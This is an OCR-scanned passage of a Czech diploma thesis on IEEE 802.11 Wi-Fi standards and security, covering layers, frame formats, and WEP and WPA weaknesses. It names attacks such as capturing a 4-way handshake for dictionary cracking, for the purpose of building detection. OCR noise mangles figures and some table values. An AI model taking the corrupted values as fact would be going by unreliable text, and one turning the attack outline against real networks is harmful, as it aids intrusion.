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ABSTRAKT

Diplomova prace se zabyva popisem a rozborem technologii a bezpecnosti bezdratovych
siti standard( IEEE 802.11. Obsahuje popis nejpouzivanéjsich standardi, popis fyzické
vrstvy, linkové vrstvy, MAC vrstvy a specifickych technologii pro bezdratové sité. Prace se
zabyva popisem vybranych bezpecnostnich protokoli, jejich technologiemi a slabinami.
Dale jsou v praci popsany bezpecnostni hrozby a vektory ttokl na bezdratové sité IEEE
802.11. Viybrané hrozby jsou simulovany ve vytvorené experimentalni siti. Na tyto hrozby
jsou navrhnuty detekéni metody. Pro otestovani a implementovani navrhnutych deteké-
nich metod je vyuzit IDS systém Zeek a jsou vyuzivany vytvorené skripty v programova-
cim jazyce Python pro praci se sitovym provozem. V neposledni fadé jsou natrénovany
a otestovany modely strojového uceni jak s ulitelem, tak bez ucitele.

KLICOVA SLOVA

Anomalie, Bezdratové sité, Detekce, IDS Zeek, IEEE 802.11, Kybernetickd bezpecnost,
Strojové uceni

ABSTRACT

The diploma thesis is focuses on technologies and security of the wireless networks in
standard IEEE 802.11, describes the most used standards, definition of physical layer,
MAC layer and specific technologies for wireless networks. The diploma thesis is focused
on description of selected security protocols, their technologies as well as weaknesses.
Also, in the thesis, there are described security threats and vectors of attacks towards
wireless networks 802.11. Selected threats were simulated in established experimental
network, for these threats were designed detection methods. For testing and implement-
ing designed detection methods, IDS system Zeek is used together with network scripts
written in programming language Python. In the end there were trained and tested
models of machine learning both supervised and unsupervised machine learning.
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Uvod

Bezdratové sité IEEE 802.11 (znamé téz jako Wi-Fi) predstavuji v soucasné dobé
rychly a jednoduchy ptistup k internetu. K jejich realizaci v podstaté staci pristu-
povy bod a funkéni pripojeni k internetu. Lidé stale vice pouzivaji Wi-Fi ve skolach,
v praci, v kavarnach a kdekoliv, kde je pristup k bezdratové siti [1]. Pomoci bezdra-
tovych siti komunikuji nové i domécnosti [2], bezdratové sité mohou byt vyuzivany
internetem véci ([3], [4]), v pramyslovych bezdratovych senzorovych siti [5] nebo
naptiklad pro zajisténi bezdratové komunikace vozidel [6].

Stejné jako jiné komunikacni sité tak i bezdratové sité prenaseji citliva data,
a proto je nutné komunikaci zabezpecit. To je duvod, pro¢ se soucasné vyzkumy
zaméfuji na bezpecnost pristupovych bodu a uzivatelskych stanic [7]. Standardy
bezdratovych siti se neustale vyviji a vyviji se i jejich zabezpeceni. Zaroven se ale
vyviji i itoky na tyto technologie a objevuji se zranitelnosti v bezpecnostnich pro-
tokolech. Prikladem miuze byt tieba zranitelnost KRACK nalezena ve 4-way Hand-
shake [8], ktery se vyuzivd ve WPA i WPA2 pro vymeénu kli¢a relace nebo zrani-
telnost Dragonblood v Handshake Dragonfly nejnovéjsitho bezpecnostniho protokolu
WPA3, ktery pracuje s eliptickymi kfivkami [9]. Proto je dilezité se bezpecnosti
téchto technologii zabyvat.

Prvni kapitola se zaméruje na technicky popis nejpouzivanéjsich standardu IEEE
802.11. Popisuje vyvoj jednotlivych standardi IEEE 802.11 a technologii s nimi
spojenych. Obsahuje popis fyzické, linkové a MAC vrstvy specifické pro IEEE 802.11
a jejich datové jednotky.

V druhé kapitole jsou popsany vybrané bezpec¢nostni protokoly jako WEP, WPA,
WPA2, WPS, 802.1x a WPA3 a ke kazdému protokolu jsou popsany jeho slabiny.
Kapitola obsahuje i tabulku vybranych protokolt s pouzitym sifrovanim, moznostmi
autentizace, se kterym standardem se zah4jil jejich provoz a kdy byly nalezeny prvni
zranitelnosti.

Treti kapitola se zabyva analyzou zranitelnosti a hrozeb typickych pro bezdratové
technologie. Obsahuje také popis vektort itoku na jednotlivé casti bezdratové sité
a popis vektort ttoku na sluzby bezpecnosti jako napriiklad ttoky na autentizaci,
divérnost, dostupnost a dalsi. Tyto itoky jsou zobrazeny v prehledné tabulce. Déle
kapitola obsahuje vybér a popis nejpouzivanéjsich nastroju urcenych k testovani
bezdratovych siti.

Dilezitou kapitolou je kapitola ¢tyti, ktera popisuje experimentalni testovani.
Obsahuje vybér zarizeni a zapojeni experimentalni sité. Dale obsahuje simulaci vy-
branych zranitelnosti a hrozeb. Nasledné jsou popsany navrhy a realizace detek¢nich

metod na jednotlivé zranitelnosti, itoky a jejich vyhodnoceni.
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1 Technicky popis IEEE 802.11

Bezdratové sité pracuji v bezlicencnich pasmech ISM (Industrial, Scientific and Me-
dical). Jedna se o vyhrazena frekvenéni pasma radiového vysilani uréend k volnému
uziti. Wi-Fi zafizeni dnes pracuji v pasmech 2.4 GHz (2400-2483 MHz) a 5 GHz.
V pripadé 5 GHz je pouzivano uvnitt budov legalné pasmo 5,15-5,35 GHz a bez
omezeni pak pasmo 5,47-5,725 GHz. Dalsi rozsah v pasmu 5 GHz je jiz omezen
nizkym vysilacim vykonem.

Typickda WLAN (Wireless Local Area Network) sit, viz obr. 1.1, sestava z pristu-
pového bodu AP (Access Point) a stanic, které k tomuto bodu pristupuji. Existuji
dva médy komunikace mezi témito zarizenimi. V centralizovaném moédu komunikace
na/ze stanice je provoz vzdy veden pfes AP. V decentralizované médu je komuni-
kace realizovana mezi dvéma stanicemi bez pozadavku na pristupovy bod, ad hoc
sit. WLAN sité poskytuji pokryt{ tizemi od 5 do 100 metrii. Cerpano z [10, 11].

V této kapitole budou popsény standardy 802.11a/b/g/n/ac a ax. Nicméné stan-
dardl 802.11 existuje mnoho. Napiiklad standard 802.11e ptisel s kvalitou sluzeb,
standard 802.11i prinesl zabezpeceni WPA2. Standard 802.11p se pouziva pro zajis-
téni bezdratového pristupu ve vozidlech. Dale se bude tato kapitola zamérovat na

fyzickou vrstvu 802.11 a jeji datovou jednotku, linkovou vrstvu 802.11 a jeji datové

jednotky a MAC vrstvu 802.11.

y7 / zatizeni_
== T ] <<ﬁ>> Pfenos dat
A\ |/ 4 W

Internet Pfistupovy bod Zatizeni

Zafizeni

Obr. 1.1: Sit WLAN.
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1.1 IEEE 802.11

Standard byl vytvofen v roce 1997. Tento jiz zanikly standard podporoval pripojeni
2 Mb/s. Zatizeni podporujici tento standard nejsou kompatibilni s dnesnimi zafize-
nimi. Standard 802.11b pouziva frekvencéni pasmo 2,4 GHz. Podporuje maximélni
teoretickou rychlost 11 Mb/s s dosahem az 46 metri. Komponenty jsou levné, ale je
to nejpomalejsi ze standardii 802.11. Domaéci spotiebice pouzivajici pasmo 2,4 GHz
mohou zpisobovat ruseni. Standard byl spustén v roce 1999 [10].

802.11a byl spustény téz v roce 1999 pouzivajici pasmo 5 GHz. Standard vy-
tvoren s myslenkou mensiho ruseni nez u 802.11b kvili pasmu 2,4 GHz. Maximéalni
teoreticka rychlost dosahovala 54 Mb/s. Nicméné frekvence 5 GHz méa problémy
s pruchodnosti pfes nékteré objekty, a proto je dosah signalu casto slaby. Standard
pracuje s technikou OFDM (Orthogonal Frequency Division Multiplexing) pro ge-
nerovani bezdratového signalu. Tento standard byl pouzivan zejména v obchodni
sféfe. U spotiebitel byl oblibeny 802.11b. Cerpano z [11].

802.11g byl vytvoren v roce 2003. U tohoto standardu maximalni teoreticka
rychlost zistala na 54 Mb/s, ale pracovala s pasmem 2,4 GHz. Standard pouziva
techniku OFDM jako 802.11a. Standard 802.11g je zpétné kompatibilni se zafizenimi
802.11b. Zatizeni 802.11b se pTipoji k zatizeni 802.11g, ale s rychlosti 802.11b.

Nasleduje standard 802.11n. Tento standard byl predstaven v roce 2009. Stan-
dard pracuje v pasmech 2,4 GHz a 5 GHz a podporuje vicekanalové pouziti. Ma-
ximalni datova rychlost standardu je 600 Mb/s a maximdlni datova rychlost kaz-
dého kanalu je 150 Mb/s. Standard pracuje s technologii MIMO (Multiple-Input
Multiple-Output), ve kterém pracuje vice vysilaci a vice prijimacu soucasné. Cilem
tohoto standardu bylo zvysit propustnost MAC vrstvy a upravit fyzickou vrstvu.
Cerpéno z [11].

Standard 802.11ac byl spustén v roce 2014 a je oznacovan jako WIFI 5. Na strané
siti WLAN doslo k vyraznému zlepSeni poctu klienttt podporovanych piistupovym
bodem a vétsi dostupné sitce pasma pro vétsi pocet paralelnich toki videa. 802.11ac
je technologie pouze pro 5 GHz, takze dvoupasmové pristupové body a klienti mohou
i nadale pouzivat 802.11n pri 2,4 GHz. 802.11ac je navrzen tak, aby tcéinné koexis-
toval se stavajicimi zarizenimi 802.11n. Wi-Fi Alliance rozdélila certifikaci 802.11ac
na dvé casti. Wave 1 zahrnovala testovani pokrocilejsich funkei.

Produkty Wave 2 byly uvolnény priblizné o 18 mésicti pozdéji a s touto vinou
prisly i nové funkce jako propojeni kanali do 160 MHz, 256-QAM, ¢tyri prosto-
rové toky a MU-MIMO (Multiple-User Multiple-Input Multiple-Output). Zatimco
802.11n je jako ethernetovy rozbocovac, ktery miize prenaset pouze jeden ramec
najednou na vsechny své porty, MU-MIMO umoznuje AP posilat vice ramcu vice

klienttim soucasné ve stejném frekvencnim spektru. AP s vice anténami a inteligent-
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nimi zarizenimi se muze chovat jako bezdratovy prepinac. 802.11ac pouziva techniku
OFDM. Kanal se déli do OFDM subnosnych, z nichz kazda ma sitku pasma 31,5 kHz.
Kazda ze subnosnych se pouziva jako nezavisly datovy tok a mé totoznou kapacitu
prenosu dat. OFDM distribuuje prichozi datové bity mezi subnosné. Nékolik subnos-
nych je rezervovano (pilotni nosice) a misto uzivatelskych dat se pouzivaji k méreni
kanalu. Cerpano z [12]. Bezdratova rychlost je vysledkem tif faktorti: §fiky pasma
kanalu, modulace a poc¢tu prostorovych tokt.

Novy standard 802.11ax, také oznacovany jako WIFI 6, je schopny prenést az
10 Gb/s. Tento standard podporuje pasma 2,4 a 5 GHz a je orientovany na prostedi
ve kterém je vysoka hustota klientl, coz mohou byt nadrazi, stadiony, letisté a mista
ze kterych se streamuji tisice videl najednou, Cerpano z [13]. Standard stejné jako
802.11ac podporuje MU-MIMO. Dilezitou zménou ve standardu 802.11ax je pri-
stup k médiu pomoci techniky OFDMA (Orthogonal Frequency Division Multiple
Access), podobné jako je u mobilnich siti 5G, s technologii BSS Color, které zvlad-
nout vétsi kapacitu a vice zarizeni. BSS (Base Service Station) Color oznad¢i prostiedi
siti, které se nachazeji v sousedstvi a router je tak miuze ignorovat. WIFI 6 vyuziva
1024-QAM, kazdy symbol je adresovan 10 bity misto 8 biti. Déle WIFI 6 poskytuje
kanal s frekvenci 160 MHz. Cerpéno z [14, 15].

Prehled standarda 802.11

Tabulka 1.1 porovnava nejznaméjsi standardy 802.11 z pohledu pouzivajiciho pasma,
maximélni prenosové rychlosti, technologie fyzické vrstvy a sitky kandalu. ZvysSeni
sitky pasma kanalu na 80 MHz poskytuje 2,16krat vétsi rychlost a 160 MHz nabizi
dalsi zdvojnasobeni. Prechod z 64-QAM na 256-QAM znamena, ze jsou k sobé blize
konstela¢ni body citlivéjsi na Sum, takze 256-QAM nejvice poméahé pri kratsim roz-
sahu, kde je 64-QAM jiz spolehlivy. 256-QAM nevyzaduje vice antén nez 64-QAM.
Cerpéno z [12].
Tab. 1.1: Standardy 802.11.

Pasmo | Prenosova rychlost Fyzicka vrstva Siika kandlu Rok

802.11 | 2.4 GHz 2 Mb/s DSSS, FHSS 20 MHz 1997

802.11b | 2.4 GHz 11 Mb/s HR-DSSS 920 MHz 1999

802.11a | 5 GHz 54 Mb/s OFDM 20 MHz 1999

802.11g | 2,4 GHz 54 Mb/s DSSS, OFDM 20 MHz 2003
2,4 GHz

8021 600 Mb/s MIMO, OFDM 20 MHz, 40 MHz | 2009
7z

40 MHz, 80 MH
802.11ac | 5 GHz 3500 Mb/s MU-MIMO, OFpM | 10 Mz, 80 MHz. o))
160 MHz

2,4 GHz

802.11ax 9600 Mb /s MU-MIMO, OFDMA | 80 MHz, 160 MHz | 2019

5 GHz
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1.2 Fyzicka vrstva

802.11 pouziva rizné modulacni metody k zvyseni celkové propustnosti sité — FHSS
(Frequency Hopping Spread Spectrum), DSSS (Direct Sequence Spread Spectrum),
IR (Infrared radiation or light). 802.11b pouziva novou vrstvu High Rate DSSS.
802.11a a 802.11g jsou zalozeny na technice OFDM, ktera zvysuje celkové pro-
pustnost pristupovych bodi. Variantami OFDM modulac¢nich technik jsou BPSK,
QPSK, 16-QAM a 64-QAM. 802.11n také pouziva modulaci OFDM ale spole¢né
s mechanizmem MIMO. Standard 802.11ac pouziva taktéz techniku OFDM s vari-
antou 256-QAM spolecné s mechanizmem MU-MIMO. Standard 802.11ax pouziva
techniku OFDMA s variantou 1024-QAM, taktéz podporuje MU-MIMO s technolo-
gii BSS Color. Na obr. 1.2 je zobrazen obecny ramec 802.11. Cerpéano z [10].

PHY Header MAC Header Frame Body

Obr. 1.2: Obecny ramec 802.11 [16].

Fyzickou vrstvu 802.11 mizeme rozdélit do dvou podvrstev, PLCP (Physical La-
yer Convergence Procedure) a PMD (Physical Medium Dependent). Vrstva PLCP
obsahuje datové jednotky PSDU (PLCP Service Data Unit). Podvrstva PLCP pii-
poji k PSDU zahlavi fyzické vrstvy. Vytvori tak datovou jednotku PPDU (PLCP
Protocol Data Unit), ¢erpano z [17]. Vrstva PMD prijme datovou jednotku PPDU

z podvrstvy PLCP a nasledné ji prenese jako datové ramce, viz obr. 1.3.

PSDU = MPDU

PSDU

Datovy pfenos

Fvzicka vrstva

Obr. 1.3: Datova jednotka PSDU a PPDU [17].
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1.3 Linkova vrstva

Linkova vrstva 802.11 obsahuje dvé podvrstvy, LLC (Logical Link Control) a MAC
(Media Access Control). Podvrstva LLC zpracovava data ve formé datové jednotky
MSDU (MAC Service Data Unit). Podvrstva MAC po prijeti MSDU vytvoii datovy
ramec MPDU (MAC Protocol Data Unit) a pfidd do néj zahlavi MAC podvrstvy,

viz obr. 1.4, ¢erpéano z [17].

Linkova vrstva

Data 3. —7. vrstvy

MSDU

Obr. 1.4: Datova jednotka MSDU a MPDU [17].

Linkova vrstva ma tfi druhy ramct: Management frame, Control frame a Data
frame. Cerpéano z [18]. Management frame je rdmec pro spravu stanic. SlouZi pro
pripojovani se k bezdratové siti pomoci autentizace. Ramce se pohybuji mezi AP
a uzivatelskou stanici, ktera se chce pripojit k siti. Tyto ramce nenesou zadna data
vyssich vrstev, ramec zustava na linkové vrstvé. Management frames jsou oznacovany
MMPDU (Management MAC Protocol Data Unit) a neobsahuji jednotku MSDU.
MMPDU na obr. 1.5. Mezi Management frames patii naptiklad Beacon ramec, jeho
struktura je zobrazena na obr. 1.6, ktery prenasi vsechny informace, které uzivatelska
stanice potfebuje znat pred pripojenim k siti. Dale naptiklad Probe request/response

ramec, De/Authentication, Association request/response a dalsi.

24 4 (B]

MMPDU Header MMPDU Frame Body FCS

Frame
Control

Sequence
Control

2 6 6 6
Duration Address 1 Address 2 Address 3
(DA) (SA) (BSSID)

Obr. 1.5: MMPDU ramec [19].
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2 2 6 6 6 2 Variable 4 [B]
Frame . Destination Source

Variable 7 2 8 4 Variable
F

2
Beacon Capabilit i BE € Tk
NESEY P v SSID Parameter | Parameter | Parameter | Parameter | Parameter
Interval Info - S o -

Obr. 1.6: Beacon ramec [20].

Control frames jsou ramce urcené k ovladani (fizeni) spojeni, tak aby doché-
zelo k nejmensimu poctu kolizi. Mezi Control frames patii rdmec Acknowledgment
(ACK), zobrazen na obr. 1.7, ramec RTS a CTS, ramec Power Save Poll (PS-Poll),
ramec Block ACK Request (BlockAckReq), ramec Block ACK (BlockAck) a dalsi.

V pripadé, ze se dvé rizné stanice pokouseji o pristup k bezdratovému médiu
soucasné, dochazi ke kolizi. Pokud nelze v nékteré ¢asti sité detekovat kolize, ozna-
¢eno jako problém skrytého uzlu (Hidden node problem). V takovém piipadé AP
vyvolava mechanizmus RTS/CTS. Pro kazdy pienos musi zdrojova stanice poslat
zpravu RTS. Cilova stanice odpovida zpravou CTS. Po prijeti zpravy CTS se za-
hajuje ptrenos ze zdrojové stanice. Ramce RTS a CTS jsou zobrazeny na obr. 1.8.
Data frames jsou ramce pro prenos uzitecnych dat a informaci vyssich vrstev. Jedna

vvvvv

frames patti Simple Data Frames, Null Function, QoS Data a dalsi.

ACK ramec

2 2 6 4 [B]
FEls Duration Receiver Address CRC
Control

Zahlavi MAC

Obr. 1.7: Ramec ACK [20].
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RTS ramec

Duration | Reciever Address | Transmitter Address CRC
) Zahlavi MAC "
CTS ramec
2 2 6 4 [B]
Duration | Receiver Address CRC
ontrol
) Zahlavi MAC i

Obr. 1.8: Ramce RTS a CTS [20].

1.4 MAC vrstva

802.11 pouziva schéma DCF (Distributed Coordinated Function). V této metodé sta-
nice, ktera je spojend s pristupovym bodem, skenuje dostupnost bezdratového média.
Pokud je médium volné, stanice odesila data do cile pres AP. Pokud je bezdratové
médium obsazené nebo se snazi vice stanic ziskat pristup ke stejnému pristupovému
bodu, dojde ke kolizi. Standard 802.11 pouzivda CSMA/CA (Carrier Sense Multiple
Access/Collision Avoidance) k predchézeni kolizim.

Dalsi mechanizmus, ktery 802.11 pouziva je PCF (Point Coordination Function).
Tento mechanizmus je rozdélen na dvé ¢asti. V prvni c¢asti pristupovy bod skenuje
vsechny stanice ve formé Round Robin, jestli neméa néktera stanice data k odeslani.
Pokud néktera ze stanic nema v aktudlnim case data k odeslani, je zarazena do fronty
pro skenovani v pristim kole. Diky mechanizmu dotazovani se celkova propustnost
sité snizuje [10].

V obou technikéach se pouzivd mechanizmus automatické odpovédi. VSechna zati-
zeni, kterd prijimaji data v siti posilaji potvrzovaci zpravu (ACK) odesilateli. Pokud
jsou prijata data poskozend, odesilateli se odpovidd negativnim potvrzenim (NAK).
Potvrzovaci zpravy zvysuji zpozdéni v siti, kvuli ¢ekani na jednotlivé ACK zpravy.
MAC zahlavi obecného ramce 802.11 obsahuje pole Frame Control, ID, Adresu 1,
Adresu 2, Adresu 3, Sequence Control, Adresu 4 a volitelné pole QoS Control a HT
Control, viz obr. 1.9. Pricemz pole Frame Control je rozdéleno na dalsi pole jako

Protokol Version, Type, Subtype, To/From DS a dalsi. Cerpano z [21].
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Zéahlavi MAC vrstvy

A
v

2 2 6 0/6 0/6 0/2 0/6 0/2 0/4 4 [B]

Frame QoS
Control Control

Frame

Sequence
Address 4 B

ID | Address 1| Address 2 | Address 3 "’ HT Control FCS

[b]

Protocol
Version

2 4 1 1 1 1 1 1 1
From | More Power | More | protected
Obr. 1.9: Obecny ramec 802.11 s MAC zahlavim [21].

Kvalita sluzeb se vyrazné zlepsila az ve standardu 802.11e. Byly zavedeny dvé
nové techniky HCF a EDCA. HCF (Hybrid Coordination Function) vychazi z mecha-
nizmu PCF. Hlavnim rozdilem oproti PCF je, Ze jsou pakety mapovany do riznych
front — Tridy provozu (TC). EDCA (Enhanced Distributed Channel Access) se po-
uziva jako doplikova metoda pro techniku HCF. Kromé toho byly zavedeny dalsi
dvé vylepseni MAC vrstvy ke zvySeni propustnosti vrstvy. Jednim bylo Potvrzeni
bloku, které umoznilo zaslat ACK zpravu a druhym byl DLP (Direct Link Protocol),
ktery umoznil pfimé spojeni mezi dvéma stanicemi v jedné siti bez pouziti pristupo-
vého bodu, a vyhnout se tak nadmérnému pouziti sitky pasma. Modifikovany ramec
802.11e s polem QoS je zobrazen na obr. 1.10.

2 2 6 6 6 2 6 2 2 [B]
Address 1 Address 2 Address 3 Szg:frlcle Address 4 Frame Body FCS
Obr. 1.10: Modifikovany ramec 802.11e s polem QoS.

Dalsim pouzivanym mechanizmem je CBP (Contention Based Protocol). Jedna
se o protokol pro 802.11y, pro bezdratova komunikacni zafizeni, kterda umoznuji
uzivateli pouzit stejny radiovy kanal bez predchozi koordinace. Protokol je zalozen
na metodé soupereni. Umoznuje vice uzivatelim pouzivat stejné vysokofrekvencni
spektrum pomoci stanoveni pravidel, ve kterych vysila¢ poskytuje prilezitosti k pri-
pojeni dalsim vysilacim v soucasném okamziku na stejny kanal. Sklada se z né-
kolika samostatnych postupt pro zahajeni novych prenost, urceni stavu kandlu
a pro spravu opakovanych prenost v pripadé zaneprazdnéného kanalu. Mechani-
zmus ECSA (Extended Channel Switch Announcement) se pouziva pro oznameni
stanicim, které jsou k nému pripojeny, Ze je nutné zménit aktualni operacni kanél

nebo sirku pasma kandlu. Mechanizmus DSE (Dependent Station Enablement) je
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mechanizmus, kterym operator rozsituje a stahuje opravnéni k udélovani licenci pro
zatizeni k vyuzivani licencovaného radiového spektra. DSE umoznuje zavislé stanici
pripojit se k nejblizsimu pristupovému bodu na kratkou dobu. Tento mechanizmus
snizuje pravdépodobnost, Ze zavisla stanice zplisobi ruseni, kdyz se pokousi pripojit

k vzdalené stanici.

MU-MIMO

Bezdratové sité maji vice aktivnich klientl, kteti sdileji dostupnou sitku pasma.
Pokud je toto sdileni provedeno v daném case, celkova propustnost sité se mize
zvysit pouze zvysenim rychlosti pripojeni pro vSechny. Mnoho klientti nemutze vy-
uzit nejvyssi rychlost, protoze maji jen jednu nebo dvé antény. Pro tyto klienty je
urceno MU-MIMO. Vysilac¢ s technologii MU-MIMO je schopny prenaset soucasné
vice paketi na vice klientti. 802.11ac s MU-MIMO ma definovanych az 8 prostoro-
virch proudii. Cty¥i klienti sou¢asné mohou v rezimu 80 MHz posilat data rychlosti
867 Mb/s za predpokladu, ze jeden klient ma 2 prostorové proudy. To znamena,
ze celkova datova rychlost je 3,5 Gb/s. Pfenosova rychlost na klienta je také vétsi,
protoze pakety lze pfenaset maximalni datovou rychlosti. Ovsem v praxi je vykon
snizen kvuli postupnému potvrzovani paketti a poméru signal-sum.

Navrh standardu 802.11ac poskytuje mechanizmy pro klienty doporucujici ur-
¢itou modulaci a kédovaci schéma MCS (Modulation and Coding Scheme), me-
todu explicitniho komprimovaného paprsku zpétné vazby. Vyzvou je i vyporadavani
se s Casovymi zménami v kanalu, protoze MU-MIMO vyzaduje presnou znalost ka-
nalu, aby se minimalizovalo ruseni mezi uzivateli. Viceuzivatelské prenosy jsou novou
funkeci v ramci 802.11. Pokud jsou dva prijimace dostatecné daleko od sebe, miize
byt soucasné do kazdého z nich vyslan prenos. Spektrum na 5 GHz je mnohem
C¢istsi, protoze nedochazi k ruseni 2,4 GHz vzniklé z Bluetooth, mikrovlnnych trub,
bezdratovych telefonli nebo nékterého z mnoha nahodnych zatizeni, ktera znecistuji

pasmo 2,4 GHz. Cerpano z [12].

Beamforming

Tvarovani paprsku (Beamforming) je proces, pri kterém mize odesilatel prednostné
smérovat svou energii smérem k prijimaci, aby se zvysil pomér signdl-sum, a tim zvy-
Sit prenosovou rychlost. 802.11ac radikalné zjednodusuje specifikace tvaru paprsku
na jednu preferovanou technickou metodu.

Explicitni tvarovani paprsku je zalozeno na vyméné informaci o charakteristikach
radiového kanalu mezi vysilacem a prijimacem, aby bylo mozné extrahovat maxi-
malni vykon radiového kandlu na zakladé méreni kvality kanalu. Explicitni tvarovani

paprsku je obecné uc¢innéjsi, protoze méreni kanalu je podrobnéjsi nez odvozeni ze
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ztrat. Ale explicitni méfeni a vymeéna dat musi byt podporovany obéma konci spo-
jeni. Implicitni tvarovani paprsku je zalozeno na analyzach charakteristik kanalu
v pripadé ztrat ramct. Vysilani ramct ve tvaru paprsku vyzaduje inteligentni an-
ténni soustavu, ktera je schopna ménit sviij vzorec zareni podle jednotlivych snimk.

Cerpéno z [12].

RTS/CTS s indikaci Sitky pasma

Pristupovy bod 802.11ac pracujici na 80 MHz (160 MHz) by mél byt schopny umoz-
nit pripojeni klient 802.11n. Beacon ramce (Management frames) jsou tedy vysilany
na jednom 20MHz kanélu (primarni kandl), v rdmci 80 MHz. AP a vsichni klienti
pridruzeni k AP prijimaji a zpracovavaji kazdy prenos, ktery se prekryva s timto
primérnim kanalem.

Pobliz pristupového bodu se mohou nachazet jiné pristupové body a jejich pri-
marni kanaly miizou byt libovolné 20MHz v ramci 80 MHz pristupového bodu
802.11ac. Riizné pristupové body a jejich pridruzeni klienti pak maji odlisny ptistup
na virtudalni nosice, takze mohou vysilat v riznych ¢asech na raznych subkanalech,
véetné prekryvajicich. Pr1i velkych sitkach kanala se tento scénar stava mnohem prav-
dépodobnéjsim nez u kanala 802.11n. Z tohoto divodu definuje protokol 802.11ac
vylepSeny protokol RTS/CTS (Request to send/Clear to send). RT'S/CTS se pouziva
k urceni, kdy je sitka pasma kandlu jasna a urceni kolik je iniciatorti a respondenti.

Kdyz zatizeni 802.11ac zasila RTS, musi toto zafizeni ovérit, ze 80MHz kanal
v jeho blizkosti je cisty. Nasledné se posila datova jednotka fyzické vrstvy, ktera
je siroka 20 MHz a trikrat se replikuje, aby zaplnila 80 MHz (nebo sedmkrat pfti
160 MHz). Kazdé blizké zatizeni, bez ohledu na to, jestli se jedna o 802.11n nebo ac
prijima RTS na primarnim kanalu a oznacuje kandl za obsazeny.

Nez adresované zatizeni odpovi zpravou CTS na RTS, zkontroluje, jestli v bliz-
kosti nevysila nékdo jiny na svém primarnim kanalu nebo na jinych 20 MHz v rdmci
80 MHz. Pokud je v blizkosti pouzivana ¢ast sitky pasma, prijemce odpovi CTS
pouze na dostupnych a ,,pouzitelnych® 20 MHz a také nahlasi sitku pasma replikova-
nych CTS v PPDU CTS. Pod ,pouzitelnymi* subkanaly se zde rozuméji subkanaly,
na nichz je iniciacni zatizeni opravnéno vysilat 20, 40, 80 nebo 160 MHz. CTS se
zasila, stejné jako RTS, ve formatu PPDU a replikuje se na 20 MHz po dostupné
a uzitecné sitce pasma. Kazdé blizké zatizeni opét obdrzi CTS, kterému zatizeni

muze porozumét na svém primarnim kanélu. Cerpano z [12].
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2 Bezpecnost vybranych protokolii

vvvvv

pecnosti. Bezpecnost je z vétsiny resena na MAC vrstvé. Je pouzito nékolik metod
k zabranéni neautorizovanému pristupu z jiné stanice. Prvni bezdratovy sitovy Sifro-
vaci standard WEP byl predstaven jako soucast originalni 802.11 specifikace ratifi-
kované v roce 1997. Zranitelnosti v této Sifrovaci metodé byly objeveny v roce 2001,
to znamenalo pozadavek na vyvoj nového Sifrovaciho standardu. V roce 2002, Wi-Fi
Aliance uvolnila novou sifrovaci metodu WPA, ktera byla kompatibilni se starym
HW. Toto bylo jen docasné reseni chyb. Novy standard 802.11i byl ratifikovan v roce
2004 a zahrnoval WPA2. V roce 2007 byla vytvorena dodatkova metoda WPS. WPS
umoznuje spojeni Wi-Fi sité pomoci HW, vyhybanim se zadavani hesla. V roce 2018

byla predstavena dalsi verze WPAS3.

2.1 Wired Equivalent Privacy

WEP (Wired Equivalent Privacy) sifrovani byla prvni metoda k zabezpeceni ve Wi-
Fi sitich schvélena jako bezpec¢nostni standard v zari 1997. WEP mél predstavovat
stejné zabezpeceni jako kabelové sité, ale obsahuje mnoho znamych bezpecnostnich
chyb. Od tohoto zabezpeceni bylo upusténo v roce 2004. Pred Sifrovanim dat je
vytvoren checksum k provedeni kontroly integrity, datovy ramec byl Sifrovan prou-
dovou sifrou RC4. Tato sifrovaci metoda je zastarala a mize byt desifrovana, existuje
mnoho zranitelnosti. Souc¢asny vyzkum zahrnuje revizi zranitelnosti, které odhaluji

hesla. Cerpano z [7, 22]. Na obr. 2.1 je zndzornéno schéma sifrovani WEP.

Algoritmus

Generovani
\%

Sdileny 24-bit IV

kli¢

Sdileny
1 kli¢

Zretézené IV a Kli¢ Zietézené IVa Klid |

Per Packet
Key

Algoritmus RC4
m—v Generovani CEES
CRC
Sifrovany
° text

Per Packet
Key

RC4
Algoritmus

g Data CRC

PFistupovy bod

UZivatelska stanice

Obr. 2.1: Wired Equivalent Privacy, sifrovani [24].
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Slabiny WEP

Slabinou WEP je podporovana autentizace pouze uzivatelské stanice. Tim padem
neexistuje autentizace pristupového bodu a uzivatelska stanice tak nevi jestli se pri-
pojuje na spravny a pozadovany pristupovy bod. Pii Sifrovani pomoci sifry RC4 se
neméni hodnota tajného klice. Proto se pouziva inicializa¢ni vektor IV, ktery ma
velikost 24 bitti, coz predstavuje priblizné 16,8 milioni moznosti. Tento pocet se
rychle vycerpa a Sifrovaci klice se zacnou opakovat. To predstavuje riziko odposlech-
nuti sdileného klice a jeho zneuziti. Mezi utoky na Sifrovani WEP patii naptiklad
Packet Injection, Fake Authentication, FMS utok, KoreK ttok, Fragmentacni itok.
Cerpéno z [23).

2.2 Wi-Fi Protected Access

Zapricinénim vysoké zranitelnosti WEP, byla vytvorena nova Sifrovaci metoda WPA
v dobé, kdy se vyvijel bezdratovy bezpecnostni standard 802.11i. WPA (Wi-Fi Pro-
tected Access) byla pouzivana jako doc¢asné vylepSeni zabezpeceni pro WEP. Vétsina
modernich aplikaci WPA pouziva pro sifrovani PSK (Pre-Shared Key), nejcastéji
oznacovany jako WPA-Personal a protokol TKIP (Temporal Key Integrity Proto-
col). WPA-Enterprise pouziva ovéfovaci server pro generovani klicu a certifikatu.

Cerpéno z [7, 22]. Na obr. 2.2 je znazornéno schéma Sifrovani WPA.

Special

Base Key Key

Initialization Vector I
Plaintext

Obr. 2.2: Wi-Fi Protected Access (TKIP), sifrovani [25].

Sequential
Key

Slabiny WPA a 4—way Handshake

Zranitelnym mistem WPA je pouziti Sifrovani PSK, kde za urcitych podminek, lze
provézt slovnikovy 1tok na sdilené tajemstvi na zakladé informaci ze zachyceného
4-way Handshake. Pro opétovné pripojeni do sité neni vyzadovana cela sekvence

4-way Handshake, ale je tfeba znovu odeslat pouze treti ¢ast 4—way Handshake.
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Kdyz se uzivatel znovu pripoji ke znamé siti Wi-Fi, sif mu znovu odesle tieti ¢ast
sekvence 4—-way Handshake. K opétovnému odeslani mtze dojit nékolikrat, aby se
zajistilo Gspésné pripojeni. Tento krok predstavuje chybu zabezpeceni [8].

Vsechny ramce 4-way Handshake maji podobu EAPOL ramci. EAPOL (Extensi-
ble Authentication Protocol over LAN) ramec, znazornény na obr. 2.3, obsahuje pole
Header pro identifikovani konkrétni ¢asti Handshake, pole Replay Counter. Obsa-
huje pole Nonce, které obsahuje nahodné ¢islo a slouzi k odvozeni klice relace PTK
